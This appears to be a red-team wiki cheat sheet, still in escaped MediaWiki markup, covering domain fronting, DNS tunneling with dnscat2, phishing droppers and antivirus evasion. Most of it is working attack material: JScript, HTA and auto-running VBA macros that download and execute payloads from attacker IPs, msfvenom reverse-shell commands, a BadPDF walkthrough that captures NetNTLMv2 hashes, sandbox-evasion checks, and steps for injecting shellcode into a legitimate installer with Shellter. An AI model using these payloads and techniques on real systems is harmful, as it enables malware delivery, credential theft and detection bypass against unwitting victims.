* A certificate can be valid for multiple domains via the Subject Alternative Names (SAN). In this case, it&#039;s valid for 99 different domains. This allows a single certificate to cover multiple domains using the same encryption key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Creation&#039;&#039;&#039;:&lt;br /&gt;
Use  ​msfvenom​  to create a reverse shell payload.&lt;br /&gt;
&lt;br /&gt;
* The  ​&amp;lt;code&amp;gt;HttpHostHeader&amp;lt;/code&amp;gt;​  option sets the  &amp;lt;code&amp;gt;​Host&amp;lt;/code&amp;gt;​  header in HTTP. In the example:  ​&amp;lt;code&amp;gt;msfvenom -p windows/x64/meterpreter/reverse_http LHOST=do.skype.com LPORT=80 HttpHostHeader=offensive-security.azureedge.net -f exe &amp;gt; http-df.exe​ &amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Listener Configuration&#039;&#039;&#039;:&lt;br /&gt;
Configure a listener on the VM hosting the attacker site.&lt;br /&gt;
&lt;br /&gt;
* Use the Metasploit  ​multi/handler​  exploit with specified parameters to listen for incoming connections using the domain fronting technique.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Execution&#039;&#039;&#039;:&lt;br /&gt;
Start packet capturing tool (e.g., Wireshark).&lt;br /&gt;
&lt;br /&gt;
* Execute the payload.&lt;br /&gt;
&lt;br /&gt;
* Inspect the traffic details.&lt;br /&gt;
&lt;br /&gt;
* The shell connects to the fronted domain&#039;s IP (e.g., do.skype.com). The HTTP Host headers should be set to the attacker’s domain (e.g., offensive-security.azureedge.net).&lt;br /&gt;
&lt;br /&gt;
== DNS Tunneling ==&lt;br /&gt;
&lt;br /&gt;
DNS tunneling is a technique to encapsulate non-DNS traffic over DNS protocols. It can be used for both legitimate and malicious purposes, like bypassing firewalls or exfiltrating data.&lt;br /&gt;
&lt;br /&gt;
=== dnscat2 ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Guide: [https://highon.coffee/blog/dns-tunnel-dnscat2-cheat-sheet/ DNS Tunneling dnscat2 Cheat Sheet (highon.coffee)]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iagox86/dnscat2 GitHub - iagox86/dnscat2]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-11.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Configuration on Ubuntu Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;File to Edit&#039;&#039;&#039;:  ​/etc/dnsmasq.conf​ &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Config Entries&#039;&#039;&#039;:&lt;br /&gt;
Add these entires to the authoritive DNS server in the domain. The 192.168.119.120 is our kali IP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
server=/tunnel.com/192.168.119.120&lt;br /&gt;
server=/somedomain.com/192.168.119.120&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Restart dnsmasq&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
offsec@ubuntu:~$ sudo systemctl restart dnsmasq&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Installing and Running dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Installation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ sudo apt install dnscat2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Starting Server&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ dnscat2-server tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Client command (example)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./dnscat --secret=d3d2f452f24afe4b362df248e2906c1d tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Running dnscat2 Client on Windows Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Start Command&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2-v0.07-client-win32.exe tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Check&#039;&#039;&#039;&lt;br /&gt;
Verify the authentication string  ​Pedal Envied Tore Frozen Pegged Ware​  on both Kali and Windows sides.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Interacting with Client Session on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Attach to Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2&amp;gt; session -i 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Commands Interactively&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; shell&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Switch to New Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; session -i 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tunneling TCP with dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;TCP/IP Tunnels Over DNS&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* dnscat2 also supports TCP/IP tunnels over DNS. That means we can create a tunnel back to the victim machine so that we can RDP into it from our Kali system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; listen 127.0.0.1:3389 172.16.51.21:3389&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dropper / Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== [BAD]PDF ===&lt;br /&gt;
&lt;br /&gt;
[https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/fileformat/badpdf BADPDF Malicious PDF Creator - Metasploit - InfosecMatter]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This module can either creates a blank PDF file which contains a UNC link which can be used to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary code into an existing PDF document if possible.&lt;br /&gt;
# Use the metasploit exploit and generate a PDF&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set lhost 10.10.14.8&lt;br /&gt;
lhost =&amp;gt; 10.10.14.8&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set filename job.pdf&lt;br /&gt;
filename =&amp;gt; job.pdf&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; run&lt;br /&gt;
# Start a SMB server&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
# Now send the file through email or upload it to target. The point is to phish someone to open the PDF and then get their NetNTLMv2 hash.&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0&lt;br /&gt;
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Incoming connection (10.10.110.35,4181)&lt;br /&gt;
[*] AUTHENTICATE_MESSAGE (Domain\Testuser,WORKSTATION-1)&lt;br /&gt;
[*] User WORKSTATION-1\Testuserauthenticated successfully&lt;br /&gt;
[*] Testuser::Domain:aaaaaaaaaaaaaaaa:40646fb31db19903e6a24ac5c3890ac9:01010000000000008054d853f122da0170c426f90c3a2d790000000001001000660049004f006a0070007a006400510003001000660049004f006a0070007a0064005100020010005a006b007a004900670056004e005000040010005a006b007a004900670056004e005000070008008054d853f122da010600040002000000080030003000000000000000000000000020000035dd0d4de6e44f56171932c0f1522230b9e11da16aa17557679e5fb48c1918560a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0038000000000000000000&lt;br /&gt;
[*] Closing down connection (10.10.110.35,4181)&lt;br /&gt;
[*] Remaining connections []&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Jscript (.js) ===&lt;br /&gt;
&lt;br /&gt;
* It downloads a file from a specified URL (&amp;quot; [http://192.168.119.120/met.exe http://192.168.1.126/met.exe]&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
* It uses the `MSXML2.XMLHTTP` object (an HTTP request object) to make a GET request to the specified URL and retrieve the file content.&lt;br /&gt;
&lt;br /&gt;
* If the HTTP request is successful (HTTP status code 200), it saves the retrieved content to a local file named &amp;quot;met.exe&amp;quot; using the `ADODB.Stream` object.&lt;br /&gt;
&lt;br /&gt;
* It then uses the `WScript.Shell` object to run the &amp;quot;met.exe&amp;quot; file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot; http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var Object = WScript.CreateObject(&#039;MSXML2.XMLHTTP&#039;);&lt;br /&gt;
Object.Open(&#039;GET&#039;, url, false);&lt;br /&gt;
Object.Send();&lt;br /&gt;
if (Object.Status == 200)&lt;br /&gt;
{&lt;br /&gt;
    var Stream = WScript.CreateObject(&#039;ADODB.Stream&#039;);&lt;br /&gt;
    Stream.Open();&lt;br /&gt;
    Stream.Type = 1;&lt;br /&gt;
    Stream.Write(Object.ResponseBody);&lt;br /&gt;
    Stream.Position = 0;&lt;br /&gt;
    Stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    Stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var r = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;).Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Proxy-aware ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot;http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var xmlhttp = new ActiveXObject(&amp;quot;MSXML2.XMLHTTP.3.0&amp;quot;);&lt;br /&gt;
// Set proxy details using setProxy method&lt;br /&gt;
xmlhttp.setProxy(2, &amp;quot;http://proxy.example.com:8080&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
xmlhttp.open(&amp;quot;GET&amp;quot;, url, false);&lt;br /&gt;
xmlhttp.send();&lt;br /&gt;
if (xmlhttp.status === 200) {&lt;br /&gt;
    var stream = new ActiveXObject(&amp;quot;ADODB.Stream&amp;quot;);&lt;br /&gt;
    stream.Open();&lt;br /&gt;
    stream.Type = 1;&lt;br /&gt;
    stream.Write(xmlhttp.responseBody);&lt;br /&gt;
    stream.Position = 0;&lt;br /&gt;
    stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
shell.Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTA ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/Phishing/nonDN2J.hta OSEP/Payloads/Phishing/nonDN2J.hta at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var re = shell.Run(&amp;quot;powershell -windowstyle hidden bitsadmin /Transfer newjob3 http://192.168.49.173/enc3.txt c:\\windows\\temp\\enc3.txt;certutil -decode c:\\windows\\temp\\enc3.txt c:\\windows\\temp\\bypass.exe;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;)&lt;br /&gt;
//var res = shell.Run(&amp;quot;bitsadmin /Transfer newjob2 http://192.168.49.173/enc2.txt c:\\windows\\temp\\enc1.txt&amp;quot;);&lt;br /&gt;
//var res1 = shell.Run(&amp;quot;timeout 10 &amp;amp;&amp;amp; certutil -decode c:\\windows\\temp\\enc.txt c:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
//var res2 = shell.Run(&amp;quot;timeout 12 &amp;amp;&amp;amp; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;powershell.exe iwr -uri http://172.21.23.10/inj_runner.exe -outfile C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
var ress = shell.Run(&amp;quot;powershell.exe wget http://172.21.23.10/inj_runner.exe -o C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
The provided VBA code automatically downloads an executable from a specified IP address when a document is opened and then runs it after a 2-second delay.&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
 Dim str As String&lt;br /&gt;
 str = &amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/msfstaged.exe&#039;,&lt;br /&gt;
&#039;msfstaged.exe&#039;)&amp;quot;&lt;br /&gt;
 Shell str, vbHide&lt;br /&gt;
 Dim exePath As String&lt;br /&gt;
 exePath = ActiveDocument.Path + &amp;quot;\msfstaged.exe&amp;quot;&lt;br /&gt;
 Wait (2)&lt;br /&gt;
 Shell exePath, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Wait(n As Long)&lt;br /&gt;
 Dim t As Date&lt;br /&gt;
 t = Now&lt;br /&gt;
 Do&lt;br /&gt;
 DoEvents&lt;br /&gt;
 Loop Until Now &amp;gt;= DateAdd(&amp;quot;s&amp;quot;, n, t)&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EXE to DLL ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/hasherezade/exe_to_dll hasherezade/exe_to_dll: Converts a EXE into DLL (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Usage&lt;br /&gt;
#Run exe_to_dll from commandline. Arguments:&lt;br /&gt;
args:&lt;br /&gt;
# Example:&lt;br /&gt;
exe_to_dll.exe test_case1.exe test_case1.dll&lt;br /&gt;
# After the successful conversion you should obtain a DLL exporting a Start function. This is the Original Entry Point of your input application.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Evasion techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
=== Hypervisor check ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
class Program&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;hypervisor_check.dll&amp;quot;, CallingConvention = CallingConvention.Cdecl)]&lt;br /&gt;
    public static extern bool is_run_in_hypervisor();&lt;br /&gt;
    static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        bool inHypervisor = is_run_in_hypervisor();&lt;br /&gt;
        Console.WriteLine(inHypervisor ? &amp;quot;Running in a hypervisor!&amp;quot; : &amp;quot;Not running in a hypervisor.&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sleep function ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// Import dll&lt;br /&gt;
[DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
// In main&lt;br /&gt;
DateTime t1 = DateTime.Now;&lt;br /&gt;
Sleep(5000);&lt;br /&gt;
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
if (t2 &amp;lt; 1.5)&lt;br /&gt;
   {&lt;br /&gt;
       return;&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Frida - Hooking ==&lt;br /&gt;
&lt;br /&gt;
== Initial Access - All-around tools ==&lt;br /&gt;
&lt;br /&gt;
There are several tools that help pack a payload that bypasses AV. Depending on your C2 framework, most of shellcode generated is burned already. Some of these tools can help evade detection.&lt;br /&gt;
&lt;br /&gt;
AV bypass can be tedious and some of these tools might help.&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BallisKit - MacroPack ===&lt;br /&gt;
&lt;br /&gt;
[https://www.balliskit.com/ BallisKit]&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is a Swiss-army knife for initial vector generation. It helps Red Teams automate, weaponize and deliver payloads while offering robust defense bypass techniques.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro supports the latest trend in payload generation such as LNK, URL, ClickOnce, HTML smuggling. It can be used to generate or trojan classic Office formats (Word, Excel, PowerPoint, Publisher, OneNote, Visio, MS Project). If you are looking at Office alternatives, use MacroPack to generate scripts such as HTA, WSF, SCT, VBS, MSI, etc.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is compatible with common offensive frameworks and tools such as Sliver, Cobalt Strike, Mythic, Empire, among others.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
The free version of MacroPack is available here, though it won&#039;t be as good as bypassing AV.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/sevagas/macro_pack&lt;br /&gt;
# Must be installed from Windows machine&lt;br /&gt;
# Some example commands from github. All other commands are available on Github&lt;br /&gt;
# Obfuscate the vba file generated by msfvenom and puts result in a new VBA file.&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba&lt;br /&gt;
# List all supported file formats&lt;br /&gt;
macro_pack.exe --listformats&lt;br /&gt;
# List all available templates&lt;br /&gt;
macro_pack.exe --listtemplates&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mgeeky&#039;s tools ====&lt;br /&gt;
&lt;br /&gt;
Mgeeky have created some very great tools, some free, some cost money and require sponsoring on GitHub.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sponsors/mgeeky Sponsor @mgeeky on GitHub Sponsors]&lt;br /&gt;
&lt;br /&gt;
[https://binary-offensive.com/software binary-offensive | Offensive IT Security]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Some of my private repositories shared with my Sponsors include:&lt;br /&gt;
MSISnatcher - MSI backdooring companion&lt;br /&gt;
Polonium - AV/EDR benchmarking tool, advanced shellcode loader&lt;br /&gt;
Bloated-EXE-in-LNK&lt;br /&gt;
SharpPRT - PRT extraction helper&lt;br /&gt;
cobalt-initial-opsec - headless agressor script&lt;br /&gt;
BOF.NET - (my fork) stealthily run .NET assemblies in-process&lt;br /&gt;
Carbuncle - (my fork) All you ever wanted from Outlook during RT&lt;br /&gt;
azure-functions-redirector&lt;br /&gt;
digitalocean-app-redirector&lt;br /&gt;
MyStayKit&lt;br /&gt;
Anonymize_CS_Logs&lt;br /&gt;
mgeeky-gists&lt;br /&gt;
and more..&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
